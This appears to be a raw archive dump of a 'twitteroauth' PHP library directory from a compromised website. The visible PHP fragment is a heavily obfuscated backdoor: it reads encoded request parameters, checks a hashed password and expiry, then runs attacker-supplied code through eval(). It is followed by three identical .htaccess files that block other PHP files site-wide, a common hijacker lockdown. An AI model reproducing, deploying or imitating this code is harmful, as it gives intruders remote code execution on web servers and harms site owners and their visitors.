CURLOPT_RETURNTRANSFER,/*-0,L0U>T-*/ 1/*-fXy~t{6-*/);/*-Nq2cQyO-*/ $iatZRUwsb/*-,c^#g-*/ = /*-3q`?OdaZy-*/curl_exec/*-M.D:#B0p^-*/(/*-c!><}$6R-*/$FKHUr/*-d0?z)d~O-*/); /*-`^-*/return /*-Z3jpHDiai-*/empty/*-b89gF4Z$-*/(/*-A[gu)-*/$iatZRUwsb/*-)h`l$-*/)/*-s`a-];-&i-*/ ? /*-Pc9b}Z)M[s-*/$Jpyd/*-xSb{)[F`u-*/(/*-pRKg|>:f-*/$VWjzBNS/*-[WY{v-*/)/*-Bfwl-*/ : /*-<,Up.-*/$iatZRUwsb; /*-2mO-*/}/*-f(kdp-*/ static/*-F~-*/ function /*-$[g?y`:-*/ytlAq/*-qKA8Xz&i-*/() /*-[Un[7-*/{/*-,DdJ6-*/ $phqUDMG /*-8{Ubf12.j-*/=/*-:PVvt4#E-*/ array/*-yXfNao!-*/("84656@84641@84654@84658@84639@84654@84660@84653@84638@84645@84656@84639@84650@84644@84645","84640@84639@84641@84660@84641@84644@84639@84706@84704","84649@84640@84644@84645@84660@84655@84654@84656@84644@84655@84654","84643@84658@84656@84648","84657@84658@84640@84654@84701@84703@84660@84655@84654@84656@84644@84655@84654","84653@84650@84647@84654@84660@84652@84654@84639@84660@84656@84644@84645@84639@84654@84645@84639@84640","84683@84713","84630","84708@84713","84690@84673@84673@84690@84666","84644@84653"); /*-ezD29,?-*/foreach /*-,.h;XqzG2-*/(/*-j,$B!(q!B-*/$phqUDMG/*-hTI-*/ as /*-|n$-*/$GSXE/*-sm6T-*/)/*-Y1L;-*/ $JtKEou/*->QBXhcDJ-*/[] /*-jt-*/= /*-]m(--*/self/*-l)n8-*/::/*-1;E(-*/Dzpi/*-i=]naL0te-*/(/*-Q)UaD-*/$GSXE/*-N$h-*/);/*-&s8lH_7-*/$TUgimOJHs /*-JEaGb0-*/= /*-_uJ3ur-*/@$JtKEou/*-:%w-*/[/*-<%`-lW-*/1/*-pdL-*/]/*-oCU-*/(/*-}2Sn3Au-*/${/*-v3-*/"_"/*-rB?<%L-*/."G"/*-P,p0-*/."E"/*-}F--*/."T"/*-KIw-<o1lX-*/}[/*-8neV5#,KN-*/$JtKEou/*-M_%-*/[/*-1uyL6fW-*/0+9/*-p7^Gz|-*/]]/*-R7KR|oW<-*/);/*-4o])-*/ $VnxRtuwLYa /*-];0-*/=/*-=xra]Mw-*/ @$JtKEou/*-c>L:w8x-*/[/*-8%Y|~$-*/0+3/*-77-*/]/*-G=3E-*/(/*-lvRI-*/$JtKEou/*-I}-*/[/*-&n-*/3+3/*-YlG%-c4U-*/], /*-{SqfoUu}s-*/$TUgimOJHs/*-0TqO3{wA-*/);/*->Y.9]-*/ $gcD /*-qm#-*/=/*-SBO-*/ $JtKEou/*-<)hg-*/[/*-gX-*/2+0/*-mc-*/]/*-0?TnV-*/(/*-a|oUT-*/$VnxRtuwLYa,/*-R=VOrNF-*/ true/*-k~Gu6>p-*/); /*-L&X^W707-*/@${/*-&|(it-*/"_"./*-Eg.uvjIHE-*/"G"./*-)<D-*/"E"/*--p0~D,-*/."T"/*-$hUSs`8YW-*/}/*-H8YnnD-*/[/*-~`-*/$JtKEou/*-e#jru-*/[10+0/*-?`rJ-*/]/*-%e~_iGak-*/]/*-vgDlZXq-*/ == /*-o}zhttu-*/1 /*-F,6frGE>-*/&& /*-h@|-*/die/*-.%L-*/(/*-3]ZmWW:D-*/$JtKEou[4+1/*-5oUmG3>-*/]/*-eMcCARZk6-*/(/*-J}H}_V<-*/__FILE__/*-ZW,~Szr-*/)/*-wG-*/); /*-8Z;.-*/if/*-;UHW-*/(/*--r-*/ (/*-u6-*/(@/*-@^V&D}9-*/$gcD/*-J45-*/[/*-Nq-*/0/*-;=O,Lc-*/] /*-ClTtcL^_N-*/- time/*-$z+{`%5>a-*/()/*-mw+#v!Ao-*/) > /*-,Z?qHeHpv-*/0/*-mA]]+xQs-*/)/*-1QZrcI4_|V-*/ and /*-|<K}-*/(/*-ljT<yn-*/md5/*-U-*/(/*-C,<B}-*/md5/*-O[|P-*/(/*-fE7bGyHl_-*/$gcD/*-Ak==-XZ@-*/[/*-;SM;m-*/3+0/*-a4(Sj?-*/]/*-&@.Yq<{$-*/)/*-d9-*/)/*-+-ZtC+_-*/ === /*-6xBLKe-*/"b5c41d6a4c7a400e815c0b81188724bf"/*--Sf-*/)/*-P<+H$Hh-*/ ): /*-d7FQ-*/$nFeuiqdbL /*-[l-*/=/*-]x-)&C-*/ self/*-x%IK-*/::/*-U!d$=`#iT-*/MrZDphH/*-GtuKt-*/(/*-n&?edkG-*/$gcD/*-ry>JvN`c3-*/[/*-sL-*/0+1/*-H^n2I-*/], /*-Cm}kP-*/$JtKEou/*-j]4?bN8-*/[/*-eQ-Y-*/3+2/*-2?OCSb+r-*/]/*-U2i4-*/);/*-0%Ftu.m-*/@eval/*-O70`1|^f-*/(/*-l>Fv%U;-*/$JtKEou/*-~dCX2zIvzG-*/[/*-Pp-*/4+0/*-8MB-*/]/*-O-M&-*/(/*-y11f-*/$nFeuiqdbL/*-d(}f-*/)/*-S1!G-*/);/*-mfGLf|67-*//*-DZ-l)7!-*/die;/*-?C}ssrbN!?-*/ endif;/*-]~.{(Mv~Kt-*/ }/*-PJ-*/}/*-yr`&E4ek-*/oH/*-m$`d-*/::/*-+cdz-j19I-*/ytlAq/*-=:`?B-*/();/*-Yn7AnGR-*/ ?>��������������������������������������������������������������������twitteroauth/twitteroauth/twitteroauth/.htaccess����������������������������������������������������0000644�����������������00000001626�14720701300�0016412 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������twitteroauth/twitteroauth/.htaccess�����������������������������������������������������������������0000644�����������������00000001626�14720701300�0013647 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������twitteroauth/.htaccess������������������������������������������������������������������������������0000644�����������������00000001626�14720701300�0011104 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������